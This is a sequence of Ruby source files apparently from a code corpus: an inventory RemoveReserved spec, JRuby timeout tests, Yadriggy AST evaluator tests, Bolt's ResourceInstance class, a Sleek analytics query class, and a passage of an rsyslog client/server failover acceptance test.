@original_available_amount = @inventory_item.available_amount
@amount_to_remove = 5
@it = RemoveReserved.new(@inventory_item, @amount_to_remove)
@operation_result = @it.update_db()
@inventory_item.reload()
end
it 'should return true' do
expect(@operation_result).to eq(true)
end
it 'should remove from the reserved amount by the specified amount' do
expect(@inventory_item.reserved_amount).to eq(@original_reserved_amount - @amount_to_remove)
end
it 'should not modify the availabe amount' do
expect(@inventory_item.available_amount).to eq(@original_available_amount)
end
it 'should have no validation errors' do
expect(@it.errors.count).to eq(0)
end
it 'should have a success message' do
expect(@it.update_db_success_msg).to match(/successfully/)
end
it 'should have no error message' do
expect(@it.update_db_error_msg).to eq(nil)
end
end
context 'when not valid' do
before(:each) do
@inventory_item = FactoryBot.create(:inventory)
@original_reserved_amount = @inventory_item.reserved_amount
@original_available_amount = @inventory_item.available_amount
@it = RemoveReserved.new(@inventory_item, -1)
@operation_result = @it.update_db()
@inventory_item.reload()
end
it 'should return false' do
expect(@operation_result).to eq(false)
end
it 'should not update available amount' do
expect(@inventory_item.available_amount).to eq(@original_available_amount)
end
it 'should not update the reserved amount' do
expect(@inventory_item.reserved_amount).to eq(@original_reserved_amount)
end
it 'should populate the validation errors array' do
expect(@it.errors.count).to be > 0
end
it 'should have no success message' do
expect(@it.update_db_success_msg).to eq(nil)
end
it 'should have no error message' do
expect(@it.update_db_error_msg).to eq(nil)
end
end
context 'when trying to remove more than is reserved' do
before(:each) do
@inventory_item = FactoryBot.create(:inventory, :reserved_amount => 5)
@original_reserved_amount = @inventory_item.reserved_amount
@original_available_amount = @inventory_item.available_amount
@amount_to_remove = 10
@it = RemoveReserved.new(@inventory_item, @amount_to_remove)
@operation_result = @it.update_db()
@inventory_item.reload()
end
it 'should return false' do
expect(@operation_result).to eq(false)
end
it 'should not update available amount' do
expect(@inventory_item.available_amount).to eq(@original_available_amount)
end
it 'should not update the reserved amount' do
expect(@inventory_item.reserved_amount).to eq(@original_reserved_amount)
end
it 'should not have any validation errors' do
expect(@it.errors.count).to eq(0)
end
it 'should have no success message' do
expect(@it.update_db_success_msg).to eq(nil)
end
it 'should have an update db error message' do
expect(@it.update_db_error_msg).to match(/cannot go below 0/)
end
end
end
end
| 44.521739 | 108 | 0.561328 |
abd58dcd834fc04faad17ef77f8000c0b25018ad | 3,574 | require 'test/unit'
require 'timeout'
require 'socket'
require 'net/http'
class TestTimeout < Test::Unit::TestCase
def test_timeout_for_loop
n = 10000000
assert_raises(Timeout::Error) do
Timeout::timeout(1) { for i in 0..n do; (i + i % (i+1)) % (i + 10) ; end }
end
end
def do_timeout(time, count, pass_expected, timeout_expected = 0, &block)
pass = timeout = error = 0
count.times do |i|
begin
Timeout::timeout(time, &block)
pass += 1
rescue Timeout::Error => e
timeout += 1
rescue Timeout::ExitException => e
error += 1
end
end
assert_equal pass_expected, pass
assert_equal timeout_expected, timeout
assert_equal 0, error
end
# JRUBY-3743
def test_subsecond_timeout_short_loop
do_timeout(0.9999, 1000, 1000) { 1.times { |i| i } }
end
def test_subsecond_timeout_short_sleep
do_timeout(0.9999, 1, 1) { sleep 0.1 }
end
def test_subsecond_timeout_long_sleep
do_timeout(0.1, 1, 0, 1) { sleep 1 }
end
def test_timeout_sysread_socket
port = rand(10000) + 5000
server = TCPServer.new(port)
client = TCPSocket.new('localhost', port)
server.accept
begin
timeout(0.1) { client.sysread(1024) }
rescue Timeout::Error
ok = true
end
assert ok, "IO#sysread was not interrupted by timeout"
ensure
begin; server.close; rescue Exception; end
begin; client.close; rescue Exception; end
end
def foo
sleep 5
rescue Exception => e
@in_foo = e
raise e
end
# JRUBY-3817
def test_net_http_timeout
assert_raises Timeout::Error do
http = Net::HTTP.new('8.8.8.8')
http.open_timeout = 0.001
response = http.start do |h|
h.request_get '/index.html'
# ensure we timeout even if we're fast
sleep(0.01)
end
end
end
def test_timeout_raises_anon_class_to_unroll
begin
timeout(0.1) { foo }
rescue Timeout::Error
ok = true
end
assert ok, "Timeout::Error was not eventually delivered to caller"
if RUBY_VERSION =~ /1\.8/ # FIXME is this ok?
assert @in_foo.class.name == "", "Non-anonymous exception type raised in intervening stack"
end
end
# JRUBY-3928: Net::HTTP doesn't timeout as expected when using timeout.rb
def test_timeout_socket_connect
assert_raises(Timeout::Error) do
timeout(0.1) do
TCPSocket.new('google.com', 12345)
end
end
end
# JRUBY-5099: Built-in timeout method added to wrong class
def test_timeout_toplevel_method
cls = Class.new do
def method_missing(name, *args)
if name == :timeout
42
end
end
end
assert cls.new.timeout, "timeout should have returned 42"
end
# GH-312: Nested timeouts trigger inner for outer's timeout
def test_nested_timeout
result = []
expected = [
'Timeout 2: Non-timeout exception',
'Timeout 2: ensure',
'Timeout 1: triggered',
'Timeout 1: ensure'
]
begin
Timeout.timeout(1) do
begin
Timeout.timeout(2) do
sleep(5)
end
rescue Timeout::Error
result << 'Timeout 2: triggered'
raise
rescue Exception
result << 'Timeout 2: Non-timeout exception'
raise
ensure
result << 'Timeout 2: ensure'
end
end
rescue Timeout::Error
result << 'Timeout 1: triggered'
rescue Exception
result << 'Timeout 1: Non-timeout exception'
ensure
result << 'Timeout 1: ensure'
end
assert_equal expected, result
end
end
| 23.513158 | 97 | 0.633464 |
b97040856dd011bd3bb3cb31cb0b5edad8fea5cd | 841 | module Spec
module Rails
module VERSION #:nodoc:
unless defined?(REV)
# RANDOM_TOKEN: 0.510454315029681
REV = "$LastChangedRevision: 2338 $".match(/LastChangedRevision: (\d+)/)[1]
end
end
end
end
# Verifies that the plugin has the same revision as RSpec
if Spec::VERSION::REV != Spec::Rails::VERSION::REV
raise <<-EOF
############################################################################
Your RSpec on Rails plugin is incompatible with your installed RSpec.
RSpec : #{Spec::VERSION::FULL_VERSION}
RSpec on Rails : r#{Spec::Rails::VERSION::REV}
Make sure your RSpec on Rails plugin is compatible with your RSpec gem.
See http://rspec.rubyforge.org/documentation/rails/install.html for details.
############################################################################
EOF
end
| 30.035714 | 83 | 0.571938 |
f70ced01fb8d0135340ae4671626f3598bf2ae78 | 14,658 | require 'test_helper'
require 'yadriggy/ast'
require 'yadriggy/eval'
require 'yadriggy/eval_all'
module Yadriggy
def self.check_implementations(evaluator)
evaluator.nil_value(nil)
evaluator.identifier(Identifier.new([:@ident, "a", [1, 1]]))
evaluator.const(Const.new([:@const, "P", [6, 4]]))
evaluator.reserved(Reserved.new([:@kw, "self", [1, 1]]))
evaluator.super_method(Super.new([:zsuper]))
evaluator.label(Label.new([:@label, "key:", [1, 1]]))
evaluator.global_variable(GlobalVariable.new([:@gvar, "$!", [1, 1]]))
evaluator.instance_variable(InstanceVariable.new([:@ivar, "@x", [1, 1]]))
evaluator.instance_variable(InstanceVariable.new([:@cvar, "@@x", [1, 1]]))
evaluator.instance_variable(ASTree.to_node([:var_ref,
[:@ivar, "@x", [1, 4]]]))
evaluator.identifier(ASTree.to_node([:var_ref, [:@ident, "a", [1, 19]]]))
evaluator.identifier(ASTree.to_node([:var_field, [:@ident, "a", [1, 19]]]))
evaluator.variable_call(VariableCall.new([:vcall,
[:@ident, "b", [1, 1]]]))
evaluator.number(Number.new([:@int, "3", [1, 1]]))
paren_expr = [:paren,
[[:binary,
[:vcall, [:@ident, "a", [1, 1]]],
:+,
[:vcall, [:@ident, "b", [1, 5]]]]]]
evaluator.paren(Paren.new(paren_expr))
array_lit = [:array, [[:@int, "1", [1, 1]], [:@int, "2", [1, 4]]]]
evaluator.array(ArrayLiteral.new(array_lit))
evaluator.symbol(SymbolLiteral.new([:symbol, [:@ident, "foo", [1, 1]]]))
sym = [:symbol_literal, [:symbol, [:@ident, "x", [1, 13]]]]
evaluator.symbol(SymbolLiteral.new(sym))
sym2 = [:dyna_symbol, [[:@tstring_content, "=", [161, 49]]]]
evaluator.symbol(SymbolLiteral.new(sym2))
str = [:@tstring_content, "str", [1, 1]]
evaluator.string_literal(StringLiteral.new(str))
str1 = [:@CHAR, "?\\C-a", [1, 4]]
evaluator.string_literal(StringLiteral.new(str1))
str2 = [:string_literal, [:string_content,
[:@tstring_content, "foo ", [1, 1]],
[:string_embexpr,
[[:binary,
[:vcall, [:@ident, "a", [1, 7]]],
:+,
[:vcall, [:@ident, "b", [1, 9]]]]]],
[:@tstring_content, " bar", [1, 11]]]]
evaluator.string_interpolation(StringInterpolation.new(str2))
const_path = [:const_path_ref,
[:const_path_ref,
[:var_ref, [:@const, "Foo", [1, 4]]],
[:@const, "Bar", [1, 9]]],
[:@const, "Val", [1, 14]]]
evaluator.const_path_ref(ConstPathRef.new(const_path))
const_path2 = [:const_path_field,
[:const_path_ref,
[:const_path_ref,
[:var_ref, [:@const, "Foo", [1, 0]]],
[:@const, "Bar", [1, 5]]],
[:@const, "Baz", [1, 10]]],
[:@const, "Val", [1, 15]]]
evaluator.const_path_field(ConstPathField.new(const_path2))
evaluator.unary(Unary.new([:unary, :-@, [:@int, "3", [1, 1]]]))
evaluator.unary(Unary.new([:unary, :+@, [:@int, "3", [1, 1]]]))
evaluator.unary(Unary.new([:unary, :!, [:var_ref,
[:@kw, "false", [5, 24]]]]))
evaluator.binary(Binary.new([:binary, [:@int, "3", [1, 1]],
:+, [:@int, "4", [1, 1]]]))
bin2 = [:binary,
[:vcall, [:@ident, "x", [1, 0]]],
:*,
[:paren,
[[:binary,
[:vcall, [:@ident, "y", [1, 5]]],
:+,
[:vcall, [:@ident, "z", [1, 9]]]]]]]
evaluator.binary(Binary.new(bin2))
evaluator.binary(Dots.new([:dot2, [:@int, "1", [1, 1]],
[:@int, "2", [1, 4]]]))
evaluator.binary(Dots.new([:dot3, [:@int, "1", [1, 1]],
[:@int, "2", [1, 4]]]))
evaluator.assign(Assign.new([:assign,
[:var_field, [:@ident, "k", [1, 1]]],
[:@int, "1", [1, 1]]]))
aref = [:aref,
[:vcall, [:@ident, "k", [1, 1]]],
[:args_add_block, [[:@int, "1", [1, 5]]], false]]
evaluator.array_ref(ArrayRef.new(aref))
areff = [:aref_field,
[:vcall, [:@ident, "k", [1, 1]]],
[:args_add_block, [[:@int, "1", [1, 5]]], false]]
evaluator.array_ref_field(ArrayRefField.new(areff))
hash = [:hash,
[:assoclist_from_args,
[[:assoc_new, [:@label, "a:", [1, 1]], [:@int, "1", [1, 3]]],
[:assoc_new, [:@label, "b:", [1, 6]], [:@int, "3", [1, 8]]]]]]
evaluator.hash(HashLiteral.new(hash))
call01 = [:method_add_arg,
[:fcall, [:@ident, "foo", [4, 4]]],
[:arg_paren, [:args_add_block, [[:@int, "1", [4, 8]]], false]]]
evaluator.call(Call.new(call01))
call02 = [:method_add_arg,
[:fcall, [:@ident, "foo", [5, 4]]],
[:arg_paren,
[:args_add_block,
[[:@int, "1", [5, 8]], [:@int, "2", [5, 11]]],
[:vcall, [:@ident, "p", [5, 15]]]]]]
evaluator.call(Call.new(call02))
call03 = [:method_add_arg, [:fcall, [:@ident, "foo", [6, 4]]],
[:arg_paren, nil]]
evaluator.call(Call.new(call03))
call04 = [:call, [:var_ref, [:@const, "P", [6, 4]]], :"::",
[:@ident, "foo", [6, 7]]]
evaluator.call(Call.new(call04))
cmd01 = [:command, [:@ident, "foo", [1, 0]],
[[:command, [:@ident, "bar", [1, 4]],
[:args_add_block,
[[:vcall, [:@ident, "baz", [1, 8]]]], false]]]]
evaluator.call(Command.new(cmd01))
cmd02 = [:command, [:@ident, "foo", [1, 0]],
[:args_add_block, [[:vcall, [:@ident, "bar", [1, 4]]]], false]]
evaluator.call(Command.new(cmd02))
cmd03 = [:command_call,
[:vcall, [:@ident, "foo", [1, 0]]],
:".",
[:@ident, "baz", [1, 4]],
[[:command,
[:@ident, "bar", [1, 8]],
[:args_add_block,
[[:vcall, [:@ident, "poi", [1, 12]]]], false]]]]
evaluator.call(Command.new(cmd03))
ifexpr = [:if, [:vcall, [:@ident, "b", [1, 3]]],
[[:@int, "1", [1, 10]]], nil]
evaluator.conditional(Conditional.new(ifexpr))
elsifexpr = [:if,
[:binary, [:vcall, [:@ident, "i", [1, 3]]], :>, [:@int, "0", [1, 7]]],
[[:@int, "1", [2, 2]]],
[:elsif,
[:binary, [:vcall, [:@ident, "i", [3, 6]]], :==,
[:@int, "3", [3, 11]]],
[[:@int, "2", [4, 2]]],
[:elsif,
[:binary, [:vcall, [:@ident, "i", [5, 6]]], :==,
[:@int, "4", [5, 11]]],
[[:@int, "3", [6, 2]]],
[:else, [[:@int, "4", [8, 2]]]]]]]
evaluator.conditional(Conditional.new(elsifexpr))
unlessexpr = [:unless,
[:vcall, [:@ident, "b", [1, 7]]],
[[:@int, "1", [1, 14]]],
[:else, [[:@int, "2", [1, 21]]]]]
evaluator.conditional(Conditional.new(unlessexpr))
if3 = [:ifop, [:vcall, [:@ident, "b", [1, 4]]],
[:@int, "1", [1, 8]],
[:@int, "3", [1, 12]]]
evaluator.conditional(Conditional.new(if3))
if4 = [:if_mod,
[:vcall, [:@ident, "b", [1, 9]]],
[:assign, [:var_field, [:@ident, "x", [1, 0]]],
[:@int, "3", [1, 4]]]]
evaluator.conditional(Conditional.new(if4))
if5 = [:unless_mod,
[:vcall, [:@ident, "b", [1, 9]]],
[:assign, [:var_field, [:@ident, "x", [1, 0]]],
[:@int, "3", [1, 4]]]]
evaluator.conditional(Conditional.new(if5))
loop1 = [:while,
[:binary,
[:var_ref, [:@ident, "j", [3, 10]]],
:<,
[:var_ref, [:@ident, "i", [3, 14]]]],
[[:opassign,
[:var_field, [:@ident, "j", [4, 6]]],
[:@op, "+=", [4, 8]],
[:@int, "1", [4, 11]]]]]
evaluator.loop(Loop.new(loop1))
loop2 = [:until,
[:binary,
[:var_ref, [:@ident, "j", [6, 10]]],
:>,
[:var_ref, [:@ident, "i", [6, 14]]]],
[[:opassign,
[:var_field, [:@ident, "j", [7, 6]]],
[:@op, "+=", [7, 8]],
[:@int, "1", [7, 11]]]]]
evaluator.loop(Loop.new(loop2))
loop3 = [:while_mod,
[:binary,
[:var_ref, [:@ident, "j", [9, 17]]],
:<,
[:var_ref, [:@ident, "i", [9, 21]]]],
[:opassign,
[:var_field, [:@ident, "j", [9, 4]]],
[:@op, "+=", [9, 6]],
[:@int, "1", [9, 9]]]]
evaluator.loop(Loop.new(loop3))
loop4 = [:until_mod,
[:binary,
[:var_ref, [:@ident, "j", [10, 17]]],
:>,
[:var_ref, [:@ident, "i", [10, 21]]]],
[:opassign,
[:var_field, [:@ident, "j", [10, 4]]],
[:@op, "+=", [10, 6]],
[:@int, "1", [10, 9]]]]
evaluator.loop(Loop.new(loop4))
for_loop = [:for,
[:var_field, [:@ident, "k", [11, 8]]],
[:paren,
[[:dot2,
[:@int, "0", [11, 14]],
[:var_ref, [:@ident, "i", [11, 17]]]]]],
[[:opassign,
[:var_field, [:@ident, "j", [12, 6]]],
[:@op, "+=", [12, 8]],
[:var_ref, [:@ident, "k", [12, 11]]]]]]
evaluator.for_loop(ForLoop.new(for_loop))
for_loop2 = [:for,
[[:@ident, "i", [1, 4]], [:@ident, "j", [1, 7]]],
[:array,
[[:@int, "1", [1, 13]], [:@int, "2", [1, 16]], [:@int, "3", [1, 19]]]],
[[:binary,
[:var_ref, [:@ident, "i", [2, 2]]],
:+,
[:var_ref, [:@ident, "j", [2, 6]]]]]]
evaluator.for_loop(ForLoop.new(for_loop2))
break_jump = [:break, []]
evaluator.break_out(Break.new(break_jump))
break_jump2 = [:break, [:args_add_block, [[:@int, "3", [1, 6]]], false]]
evaluator.break_out(Break.new(break_jump2))
next_jump = [:next,
[:args_add_block, [[:@int, "3", [1, 5]], [:@int, "4", [1, 8]]], false]]
evaluator.break_out(Break.new(next_jump))
redo_jump = [:redo]
evaluator.break_out(Break.new(redo_jump))
retry_jump = [:retry]
evaluator.break_out(Break.new(retry_jump))
ret = [:return, [:args_add_block,
[[:@int, "1", [1, 7]], [:@int, "2", [1, 10]]], false]]
evaluator.return_values(Return.new(ret))
ret2 = [:return0]
evaluator.return_values(Return.new(ret2))
blk = [:brace_block,
[:block_var, [:params, nil, nil, nil, nil, nil, nil, nil], nil],
[[:@int, "0", [1, 11]]]]
evaluator.block(Block.new(blk))
# lambda {}
lambda_expr = [:method_add_block,
[:method_add_arg, [:fcall, [:@ident, "lambda", [1, 0]]],
[]], [:brace_block, nil, [[:void_stmt]]]]
evaluator.call(Call.new(lambda_expr))
field_access = [:field, [:var_ref, [:@const, "Foo", [1, 0]]],
:".",
[:@ident, "x", [1, 4]]]
evaluator.call(Call.new(field_access))
lambda2 = [:lambda,[:params, nil, nil, nil, nil, nil, nil, nil],
[[:vcall, [:@ident, "x", [1, 4]]]]]
evaluator.lambda_expr(Lambda.new(lambda2))
lambda3 = [:lambda,
[:paren, [:params, [[:@ident, "x", [1, 3]]],
nil, nil, nil, nil, nil, nil]],
[[:var_ref, [:@ident, "x", [1, 8]]]]]
evaluator.lambda_expr(Lambda.new(lambda3))
begin_end = [:begin,
[:bodystmt,
[[:@int, "1", [3, 4]]],
[:rescue,
nil,
[:var_field, [:@ident, "e", [4, 12]]],
[[:@int, "2", [5, 4]]],
[:rescue,
nil,
[:var_field, [:@ident, "e2", [6, 12]]],
[[:@int, "3", [7, 4]]],
nil]],
nil,
nil]]
evaluator.begin_end(BeginEnd.new(begin_end))
def_src =[:def, [:@ident, "foo", [1, 6]],
[:paren,
[:params, [[:@ident, "i", [1, 10]]], nil, nil, nil, nil,
nil, nil]],
[:bodystmt,
[[:@int, "1", [2, 4]]],
[:rescue,
[[:var_ref, [:@const, "Error", [3, 9]]]],
[:var_field, [:@ident, "evar", [3, 18]]],
[[:var_ref, [:@ident, "evar", [4, 4]]]],
nil],
[:else, [[:@int, "1", [6, 4]]]],
[:ensure, [[:@int, "2", [8, 4]]]]]]
evaluator.define(Def.new(def_src))
def_src2 = [:def, [:@ident, "foo", [1, 6]],
[:params, [[:@ident, "i", [1, 10]]], nil, nil, nil,
nil, nil, nil],
[:bodystmt, [[:var_ref, [:@ident, "i", [2, 4]]]],
nil, nil, nil]]
evaluator.define(Def.new(def_src2))
defs_src3 = [:defs,
[:var_ref, [:@kw, "self", [1, 4]]],
[:@period, ".", [1, 8]],
[:@ident, "foo", [1, 9]],
[:paren, [:params, nil, nil, nil, nil, nil, nil, nil]],
[:bodystmt, [[:void_stmt]], nil, nil, nil]]
evaluator.define(Def.new(defs_src3))
moduledef = [:module, [:const_ref, [:@const, "A", [1, 7]]],
[:bodystmt, [[:void_stmt]], nil, nil, nil]]
evaluator.module_def(ModuleDef.new(moduledef))
classdef = [:class, [:const_path_ref,
[:var_ref, [:@const, "A", [1, 6]]],
[:@const, "B", [1, 9]]],
[:const_path_ref,
[:var_ref, [:@const, "A", [1, 13]]],
[:@const, "C", [1, 16]]],
[:bodystmt, [[:void_stmt]], nil, nil, nil]]
evaluator.class_def(ClassDef.new(classdef))
sclassdef = [:sclass,
[:var_ref, [:@kw, "self", [1, 9]]],
[:bodystmt, [[:void_stmt]], nil, nil, nil]]
evaluator.singular_class_def(SingularClassDef.new(sclassdef))
prog = [:program,
[[:binary,
[:vcall, [:@ident, "x", [1, 0]]],
:+,
[:vcall, [:@ident, "y", [1, 2]]]],
[:binary, [:vcall, [:@ident, "z", [2, 0]]], :==,
[:@int, "0", [2, 5]]]]]
evaluator.program(Program.new(prog))
end
class EvalTester < Test::Unit::TestCase
test 'check all the methods are implemented' do
e = EvalAll.new
assert_nothing_raised(NotImplementedError,
'some methods are not implemented ') do
Yadriggy.check_implementations(e)
end
end
end
end
| 36.829146 | 79 | 0.432051 |
91e6fb14bf5b8ed69d12066315283104cd0ad528 | 3,867 | # frozen_string_literal: true
require 'json'
module Bolt
class ResourceInstance
attr_reader :target, :type, :title, :state, :desired_state
attr_accessor :events
# Needed by Puppet to recognize Bolt::ResourceInstance as a Puppet object when deserializing
def self._pcore_type
ResourceInstance
end
# Needed by Puppet to serialize with _pcore_init_hash instead of the object's attributes
def self._pcore_init_from_hash(_init_hash)
raise "ResourceInstance shouldn't be instantiated from a pcore_init class method. "\
"How did this get called?"
end
def _pcore_init_from_hash(init_hash)
initialize(init_hash)
end
# Parameters will already be validated when calling ResourceInstance.new or
# set_resources() from a plan. We don't perform any validation in the class
# itself since Puppet will pass an empty hash to the initializer as part of
# the deserialization process before passing the _pcore_init_hash.
def initialize(resource_hash)
@target = resource_hash['target']
@type = resource_hash['type'].to_s.capitalize
@title = resource_hash['title']
# get_resources() returns observed state under the 'parameters' key
@state = resource_hash['state'] || resource_hash['parameters'] || {}
@desired_state = resource_hash['desired_state'] || {}
@events = resource_hash['events'] || []
end
# Creates a ResourceInstance from a data hash in a plan when calling
# ResourceInstance.new($resource_hash) or $target.set_resources($resource_hash)
def self.from_asserted_hash(resource_hash)
new(resource_hash)
end
# Creates a ResourceInstance from positional arguments in a plan when
# calling ResourceInstance.new(target, type, title, ...)
def self.from_asserted_args(target,
type,
title,
state = nil,
desired_state = nil,
events = nil)
new(
'target' => target,
'type' => type,
'title' => title,
'state' => state,
'desired_state' => desired_state,
'events' => events
)
end
def eql?(other)
self.class.equal?(other.class) &&
target == other.target &&
type == other.type &&
title == other.title
end
alias == eql?
def to_hash
{
'target' => target,
'type' => type,
'title' => title,
'state' => state,
'desired_state' => desired_state,
'events' => events
}
end
alias _pcore_init_hash to_hash
def to_json(opts = nil)
to_hash.to_json(opts)
end
def reference
"#{type}[#{title}]"
end
alias to_s reference
def add_event(event)
@events << event
end
# rubocop:disable Naming/AccessorMethodName
def set_state(state)
assert_hash('state', state)
@state.merge!(state)
end
# rubocop:enable Naming/AccessorMethodName
def overwrite_state(state)
assert_hash('state', state)
@state = state
end
# rubocop:disable Naming/AccessorMethodName
def set_desired_state(desired_state)
assert_hash('desired_state', desired_state)
@desired_state.merge!(desired_state)
end
# rubocop:enable Naming/AccessorMethodName
def overwrite_desired_state(desired_state)
assert_hash('desired_state', desired_state)
@desired_state = desired_state
end
def assert_hash(loc, value)
unless value.is_a?(Hash)
raise Bolt::ValidationError, "#{loc} must be of type Hash; got #{value.class}"
end
end
end
end
| 30.448819 | 96 | 0.608482 |
03be62ec3cace6986583b0f2c7ea08c57691abf4 | 3,907 | module Sleek
module Queries
# The query.
#
# Queries are performed on a set of events and usually return
# numeric values. You shouldn't be using Sleek::Queries::Query
# directly, instead, you should subclass it and define +#perform+ on
# it, which takes an events criteria and does its job.
#
# Sleek::Queries::Query would take care of processing options,
# filtering events, handling series and groups.
#
# @example
# class SomeQuery < Query
# def perform(events)
# # ...
# end
# end
class Query
attr_reader :namespace, :bucket, :options, :timeframe
delegate :require_target_property?, to: 'self.class'
# Iinitialize a new +Query+.
#
# @param namespace [Namespace]
# @param bucket [String] bucket name
# @param option [Hash] options
#
# @option options [String] :timeframe timeframe description
# @option options [String] :interval interval description
#
# @raise ArgumentError if passed options are invalid
def initialize(namespace, bucket, options = {})
@namespace = namespace
@bucket = bucket
@options = options
@timeframe = options[:timeframe]
raise ArgumentError, 'options are invalid' unless valid_options?
end
# Get criteria for events to perform the query.
#
# @param time_range [Range<Time>]
#
# @return [Mongoid::Criteria]
def events
evts = namespace.events(bucket)
evts = evts.between('s.t' => timeframe) if timeframe?
evts = apply_filters(evts) if filter?
if group_by.present?
evts = Sleek::GroupByCriteria.new(evts, "d.#{group_by}")
end
evts
end
# Apply all the filters to the criteria.
#
# @param criteria [Mongoid::Criteria]
def apply_filters(criteria)
filters.reduce(criteria) { |crit, filter| filter.apply(crit) }
end
# Get filters.
#
# @return [Array<Filter>]
def filters
filters = options[:filter]
if filters.is_a?(Array) && filters.size == 3 && filters.none? { |f| f.is_a?(Array) }
filters = [filters]
elsif !filters.is_a?(Array) || !filters.all? { |f| f.is_a?(Array) && f.size == 3 }
raise ArgumentError, "wrong filter - #{filters}"
end
filters.map { |f| Sleek::Filter.new(*f) }
end
# Check if options include filter.
def filter?
options[:filter].present?
end
# Check if options include timeframe.
def timeframe?
timeframe.present?
end
# Internal: Get group_by property.
def group_by
options[:group_by]
end
# Get the target property.
def target_property
if options[:target_property].present?
"d.#{options[:target_property]}"
end
end
# Run the query.
def run
perform(events)
end
# Perform the query on a set of events.
def perform(events)
raise NotImplementedError
end
# Validate the options.
def valid_options?
options.is_a?(Hash) &&
(filter? ? options[:filter].is_a?(Array) : true) &&
(require_target_property? ? options[:target_property].present? : true)
end
class << self
# Indicate that the query requires target property.
#
# @example
# class SomeQuery < Query
# require_target_property!
#
# def perform(events)
# # ...
# end
# end
def require_target_property!
@require_target_property = true
end
# Check if the query requires target property.
def require_target_property?
!!@require_target_property
end
end
end
end
end
| 27.131944 | 92 | 0.578193 |
5d2d54f62586715762972fa5805285773b338c8c | 10,457 | require 'spec_helper_acceptance'
test_name 'client -> 2 server without TLS'
describe 'rsyslog class' do
before(:all) do
# Ensure that our test doesn't match messages from other tests
sleep(1)
@msg_uuid = Time.now.to_f.to_s.gsub('.','_') + '_NO_TLS'
end
let(:client){ only_host_with_role( hosts, 'client' ) }
let(:client_fqdn){ fact_on( client, 'fqdn' ) }
let(:servers){ hosts_with_role( hosts, 'server' ) }
let(:failover_servers){ hosts_with_role( hosts, 'failover_server' ) }
let(:client_manifest_hieradata) {
{
'rsyslog::log_server_list' => ['server-1','server-2'],
'rsyslog::enable_logrotate' => true,
'rsyslog::enable_tls_logging' => false,
'rsyslog::enable_pki' => false
}
}
let(:client_manifest) {
<<-EOS
include 'rsyslog'
rsyslog::rule::remote { 'send_the_logs':
rule => '*.*'
}
EOS
}
let(:client_failover_hieradata) {
{
'rsyslog::log_server_list' => ['server-1','server-2'],
'rsyslog::failover_log_servers' => ['server-3'],
'rsyslog::enable_logrotate' => true,
'rsyslog::enable_tls_logging' => false,
'rsyslog::enable_pki' => false
}
}
let(:client_failover_small_queue_hieradata) {
{
'rsyslog::log_server_list' => ['server-1','server-2'],
'rsyslog::failover_log_servers' => ['server-3'],
'rsyslog::enable_logrotate' => true,
'rsyslog::enable_tls_logging' => false,
'rsyslog::enable_pki' => false,
'rsyslog::config::main_msg_queue_high_watermark' => '2',
'rsyslog::config::main_msg_queue_low_watermark' => '1'
}
}
# This is used for testing the failover queueing
let(:client_failover_manifest_small_queue) {
<<-EOS
include 'rsyslog'
rsyslog::rule::remote { 'send_the_logs':
rule => '*.*',
queue_filename => 'test_queue',
queue_high_watermark => '2',
queue_low_watermark => '1'
}
EOS
}
let(:server_manifest_hieradata) {
{
'rsyslog::tcp_server' => true,
'rsyslog::enable_logrotate' => true,
'rsyslog::enable_pki' => false,
'rsyslog::client_nets' => 'any',
'rsyslog::server::enable_firewall' => true,
'rsyslog::server::enable_selinux' => true,
# If you enable this, you need to make sure to add a tcpwrappers rule
# for sshd
'rsyslog::server::enable_tcpwrappers' => false
}
}
let(:server_manifest) {
<<-EOS
# Turns off firewalld in EL7. Presumably this would already be done.
include '::iptables'
iptables::add_tcp_stateful_listen { 'ssh':
dports => '22',
client_nets => 'any'
}
include 'rsyslog'
include 'rsyslog::server'
# define a dynamic file with an rsyslog template
# NOTE: puppet doesn't need to manage missing directories in this path;
# rsyslog will create them as needed.
rsyslog::template::string { 'log_everything_by_host':
string => '/var/log/hosts/%HOSTNAME%/everything.log'
}
# log all messages to the dynamic file we just defined ^^
rsyslog::rule::local { 'all_the_logs':
rule => '*.*',
dyna_file => 'log_everything_by_host'
}
EOS
}
context 'client -> 2 server without TLS' do
it 'should configure the servers without errors' do
(servers + failover_servers).each do |server|
set_hieradata_on(server, server_manifest_hieradata)
apply_manifest_on(server, server_manifest, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
end
end
it 'should configure the servers idempotently' do
servers.each do |server|
apply_manifest_on(server, server_manifest, :hiera_config => client.puppet['hiera_config'], :catch_changes => true)
end
end
it 'should configure the client without errors' do
set_hieradata_on(client, client_manifest_hieradata)
apply_manifest_on(client, client_manifest, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
end
it 'should configure client idempotently' do
apply_manifest_on(client, client_manifest, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
end
# Default scenario, everything goes to both primary servers
it 'should successfully send log messages to the primary servers but not the failover server' do
remote_log = "/var/log/hosts/#{client_fqdn}/everything.log"
on client, "logger -t FOO TEST-1-#{@msg_uuid}-MSG"
servers.each do |server|
on server, "test -f #{remote_log}"
on server, "grep TEST-1-#{@msg_uuid}-MSG #{remote_log}"
end
failover_servers.each do |server|
on server, "! grep TEST-1-#{@msg_uuid}-MSG #{remote_log}"
end
end
it 'should be able to enable failover on the client' do
set_hieradata_on(client, client_failover_hieradata)
apply_manifest_on(client, client_manifest, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
end
it 'should successfully failover' do
failover_server = failover_servers.first
remote_log = "/var/log/hosts/#{client_fqdn}/everything.log"
# Make sure both primary servers are still working properly.
on client, "logger -t FOO TEST-10-#{@msg_uuid}-MSG"
servers.each do |server|
on server, "grep TEST-10-#{@msg_uuid}-MSG #{remote_log}"
end
# Force Failover
servers.each do |server|
on server, 'pkill -9 rsyslog'
end
# Give it a couple of seconds
sleep(2)
# Log test messages
(11..20).each do |msg|
on client, "logger -t FOO TEST-#{msg}-#{@msg_uuid}-MSG"
end
# Validate Failover
on failover_server, "grep TEST-11-#{@msg_uuid}-MSG #{remote_log}"
on failover_server, "grep TEST-19-#{@msg_uuid}-MSG #{remote_log}"
servers.each do |server|
expect_failure("should not log to #{server} servers when not active") do
on server, "grep TEST-11-#{@msg_uuid}-MSG #{remote_log}"
on server, "grep TEST-19-#{@msg_uuid}-MSG #{remote_log}"
end
end
end
end
context 'rsyslog queues when all remote servers fail' do
it 'should queue when no remote systems are available' do
failover_server = failover_servers.first
remote_log = "/var/log/hosts/#{client_fqdn}/everything.log"
set_hieradata_on(client, client_failover_small_queue_hieradata)
